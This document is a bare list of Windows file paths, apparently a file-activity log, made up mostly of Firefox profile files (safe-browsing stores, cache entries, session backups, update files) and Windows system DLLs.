        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\CONTENT-TRACK-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\EXCEPT-FLASH-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\EXCEPT-FLASHALLOW-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\EXCEPT-FLASHSUBDOC-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\GOOGLE-TRACKWHITE-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\MOZPLUGIN-BLOCK-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\MOZSTD-TRACKWHITE-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\SOCIAL-TRACK-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\SOCIAL-TRACKING-PROTECTION-FACEBOOK-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\SOCIAL-TRACKING-PROTECTION-LINKEDIN-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING\SOCIAL-TRACKING-PROTECTION-TWITTER-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\EXTENSIONS.JSON
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CONTAINERS.JSON
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\WEBAPPSSTORE.SQLITE-WAL
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\WEBAPPSSTORE.SQLITE-SHM
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\LOGINS.JSON
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\STATE.JSON
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\A7D3E927B04F279FECF0D7D678B5C66B6934C817
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE\PERMANENT\CHROME\IDB\2918063365PIUPSAH.SQLITE-WAL
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\INTERNET EXPLORER\QUICK LAUNCH\USER PINNED\TASKBAR\FIREFOX.LNK
        C:\WINDOWS\SYSTEM32\SHELL32.DLL
        C:\WINDOWS\SYSTEM32\LINKINFO.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE\PERMANENT\CHROME\IDB\2918063365PIUPSAH.SQLITE-SHM
        C:\WINDOWS\SYSTEM32\ACTXPRXY.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SHIELD-PREFERENCE-EXPERIMENTS.JSON
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\PLACES.SQLITE-WAL
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\PLACES.SQLITE-SHM
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\FAVICONS.SQLITE-WAL
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\FAVICONS.SQLITE-SHM
        C:\USERS\ADMINI~1\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI~1.DEF\CERT9.DB-JOURNAL
        C:\WINDOWS\SYSTEM32\EN-US\SHLWAPI.DLL.MUI
        C:\WINDOWS\SYSTEM32\EN-US\USER32.DLL.MUI
        C:\WINDOWS\SYSTEM32\EN-US\OLE32.DLL.MUI
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\BOOKMARKBACKUPS
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE\PERMANENT\CHROME\IDB\3561288849SDHLIE.SQLITE-WAL
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE\PERMANENT\CHROME\IDB\3561288849SDHLIE.SQLITE-SHM
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\HANDLERS.JSON
        C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER\FEATURES\PICTUREINPICTURE@MOZILLA.ORG.XPI
        C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER\FEATURES\SCREENSHOTS@MOZILLA.ORG.XPI
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\THUMBNAILS\7C27E0A3E1BA29183AF76EA17D293660.PNG
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\GLEAN\DB\DATA.SAFE.BIN
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\DATAREPORTING\GLEAN\EVENTS
        C:\WINDOWS\SYSTEM32\EN-US\SHELL32.DLL.MUI
        C:\WINDOWS\SYSTEM32\EN-US\USERENV.DLL.MUI
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE\PERMANENT\CHROME\IDB\2823318777NTOUROMLALNODRY--NAOD.SQLITE-WAL
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\STORAGE\PERMANENT\CHROME\IDB\2823318777NTOUROMLALNODRY--NAOD.SQLITE-SHM
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\7AFF5702108D2F969BAE43CE9A522F32390B080E
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\6BD0B01B53784A1D7CCB8868FCC7BF17E8CF5538
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CONTENT-PREFS.SQLITE
        C:\WINDOWS\SYSTEM32\EN-US\DWMAPI.DLL.MUI
        C:\WINDOWS\SYSTEM32\EN-US\MPR.DLL.MUI
        C:\WINDOWS\SYSTEM32\EN-US\WINMM.DLL.MUI
        C:\WINDOWS\SYSTEM32\EN-US\WSOCK32.DLL.MUI
        C:\WINDOWS\SYSTEM32\EN-US\WS2_32.DLL.MUI
        C:\WINDOWS\SYSTEM32\EN-US\PROPSYS.DLL.MUI
        C:\WINDOWS\SYSTEM32\EN-US\IPHLPAPI.DLL.MUI
        C:\WINDOWS\SYSTEM32\EN-US\DNSAPI.DLL.MUI
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\DOOMED\13304
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\6333B1A3568302CAE84D5623F53562B48D42F7B9
        C:\WINDOWS\SYSTEM32\EN-US\UXTHEME.DLL.MUI
        C:\PROGRAMDATA\MOZILLA\UPDATES\308046B0AF4A39CB\UPDATES\DOWNLOADING
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\254256B27E0C48CF9B80B695F0B3B8CA84610495
        C:\PROGRAMDATA\MOZILLA\UPDATES\308046B0AF4A39CB\UPDATES\0\UPDATE.STATUS
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\ACTIVITY-STREAM.DISCOVERY_STREAM.JSON.TMP
        C:\WINDOWS\SYSTEM32\EN-US\DHCPCSVC.DLL.MUI
        C:\WINDOWS\SYSTEM32\QMGRPRXY.DLL
        C:\WINDOWS\SYSTEM32\EN-US\NTMARTA.DLL.MUI
        C:\WINDOWS\SYSTEM32\EN-US\WLDAP32.DLL.MUI
        C:\WINDOWS\SYSTEM32\BITSPRX4.DLL
        C:\WINDOWS\SYSTEM32\EN-US\DWRITE.DLL.MUI
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SEARCH.JSON.MOZLZ4.TMP
        C:\WINDOWS\SYSTEM32\EN-US\NETPROFM.DLL.MUI
        C:\WINDOWS\SYSTEM32\EN-US\NAPINSP.DLL.MUI
        C:\WINDOWS\SYSTEM32\EN-US\PNRPNSP.DLL.MUI
        C:\WINDOWS\SYSTEM32\EN-US\MSWSOCK.DLL.MUI
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\458518A9C24FE4A180B93C3BD9CC6DF9BCD0D8E4
        C:\WINDOWS\SYSTEM32\EN-US\DHCPCSVC6.DLL.MUI
        C:\WINDOWS\SYSTEM32\EN-US\MSCMS.DLL.MUI
        C:\WINDOWS\SYSTEM32\EN-US\WPC.DLL.MUI
        C:\WINDOWS\SYSTEM32\EN-US\WEVTAPI.DLL.MUI
        C:\WINDOWS\SYSTEM32\EN-US\MMDEVAPI.DLL.MUI
        C:\WINDOWS\SYSTEM32\EN-US\AUDIOSES.DLL.MUI
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\DOOMED\26041
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\F8CBD54DDA10F4286A41EC6A537240712D6C2308
        C:\PROGRAMDATA\MOZILLA\UPDATES\308046B0AF4A39CB\ACTIVE-UPDATE.XML.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\DOOMED\8816
        C:\WINDOWS\SYSTEM32\EN-US\URLMON.DLL.MUI
        C:\WINDOWS\WINSXS\AMD64_MICROSOFT.WINDOWS.C..-CONTROLS.RESOURCES_6595B64144CCF1DF_6.0.7600.16385_EN-US_106F9BE843A9B4E3\COMCTL32.DLL.MUI
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\B96A8CA7E8DA150D9C60ACA5E4C3188734485141
        C:\WINDOWS\SYSTEM32\EN-US\RASAPI32.DLL.MUI
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\DOOMED\31002
        C:\WINDOWS\SYSTEM32\KERNELBASE.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\F79CB0422B210ACEAA7BA5573854B7032685B96D
        C:\WINDOWS\SYSTEM32\P2PCOLLAB.DLL
        C:\WINDOWS\SYSTEM32\EN-US\P2PCOLLAB.DLL.MUI
        C:\WINDOWS\SYSTEM32\QAGENTRT.DLL
        C:\WINDOWS\SYSTEM32\EN-US\QAGENTRT.DLL.MUI
        C:\WINDOWS\SYSTEM32\FVEUI.DLL
        C:\WINDOWS\SYSTEM32\EN-US\FVEUI.DLL.MUI
        C:\WINDOWS\SYSTEM32\BCRYPT.DLL
        C:\WINDOWS\SYSTEM32\BCRYPTPRIMITIVES.DLL
        C:\WINDOWS\SYSTEM32\CATROOT2
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\45D4CA4632D5E8F0FA98BFCF06B8103291868674
        C:\WINDOWS\SYSTEM32\CATROOT\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\MICROSOFT-WINDOWS-FOUNDATION-PACKAGE~31BF3856AD364E35~AMD64~~6.1.7601.17514.CAT
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\2F410FFD3373491C9351DA02D136A5BFFB077392
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\AB5C1843386959BEEF4FEDC9FCD99D755F32AE03
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\C6E45311988CC31D90957AB470F792022AF8D7C2
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\107DE5789B49E329D65BFB90C8F6A13A1D7B76BE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SETTINGS\MAIN\MS-LANGUAGE-PACKS\ASROUTER.FTL.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\2DD3D71B3BFF500F903FF67DDCA52EF14EBB0BF5
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\FECB35BD5CBE017970F99175DA77EDDF98F51C4B
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\A2C1E82CC713C0B5668F02552010905868A8BC95
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\EEA9867357B5A37957D111961563FECA91E20BEA
        C:\WINDOWS\SYSTEM32\NCRYPT.DLL
        C:\WINDOWS\SYSTEM32\KERNEL32.DLL
        C:\WINDOWS\SYSTEM32\ADVAPI32.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\ADDONSTARTUP.JSON.LZ4.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\PROTECTIONS.SQLITE-JOURNAL
        C:\WINDOWS\SYSTEM32\CATROOT\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\NTPE.CAT
        C:\WINDOWS\SYSTEM32\MSVCRT.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\3FBCFD30D37D854921CE4A2D93F1AC18E1FBB1FC
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\ADS-TRACK-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\ADS-TRACK-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\ALLOW-FLASHALLOW-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\ALLOW-FLASHALLOW-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\ANALYTICS-TRACK-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\ANALYTICS-TRACK-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\BASE-CRYPTOMINING-TRACK-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\BASE-CRYPTOMINING-TRACK-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\BASE-FINGERPRINTING-TRACK-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\BASE-FINGERPRINTING-TRACK-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\BLOCK-FLASH-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\BLOCK-FLASH-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\BLOCK-FLASHSUBDOC-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\BLOCK-FLASHSUBDOC-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\CONTENT-TRACK-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\CONTENT-TRACK-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\EXCEPT-FLASH-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\EXCEPT-FLASH-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\EXCEPT-FLASHALLOW-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\EXCEPT-FLASHALLOW-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\EXCEPT-FLASHSUBDOC-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\EXCEPT-FLASHSUBDOC-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\GOOGLE-TRACKWHITE-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\GOOGLE-TRACKWHITE-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\GOOGLE4
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\MOZPLUGIN-BLOCK-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\MOZPLUGIN-BLOCK-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\MOZSTD-TRACKWHITE-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\MOZSTD-TRACKWHITE-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\SOCIAL-TRACK-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\SOCIAL-TRACK-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\SOCIAL-TRACKING-PROTECTION-FACEBOOK-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\SOCIAL-TRACKING-PROTECTION-FACEBOOK-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\SOCIAL-TRACKING-PROTECTION-LINKEDIN-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\SOCIAL-TRACKING-PROTECTION-LINKEDIN-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\SOCIAL-TRACKING-PROTECTION-TWITTER-DIGEST256.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\SOCIAL-TRACKING-PROTECTION-TWITTER-DIGEST256.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\BASE-FINGERPRINTING-TRACK-DIGEST256-1.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\DOOMED\3813
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\6D4934FE31BFAF4563C9C133D9CEB4B986FB5CA0
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\BASE-FINGERPRINTING-TRACK-DIGEST256-1.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\MOZSTD-TRACKWHITE-DIGEST256-1.SBSTORE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\DOOMED\8100
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-UPDATING\MOZSTD-TRACKWHITE-DIGEST256-1.VLPSET
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\110444F16F5AAD68DBD2A40C58D06192F57E7671
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\CDF359E63200C01C1961DA51E2DC1A04CDBFB351
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SESSIONSTORE-BACKUPS\PREVIOUS.JSONLZ4
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SESSIONSTORE-BACKUPS\RECOVERY.JSONLZ4.TMP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAFEBROWSING-BACKUP
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\CACHE2\ENTRIES\1FF385E7F2CEDC7951EA20F46E6F490DEA2D32A6
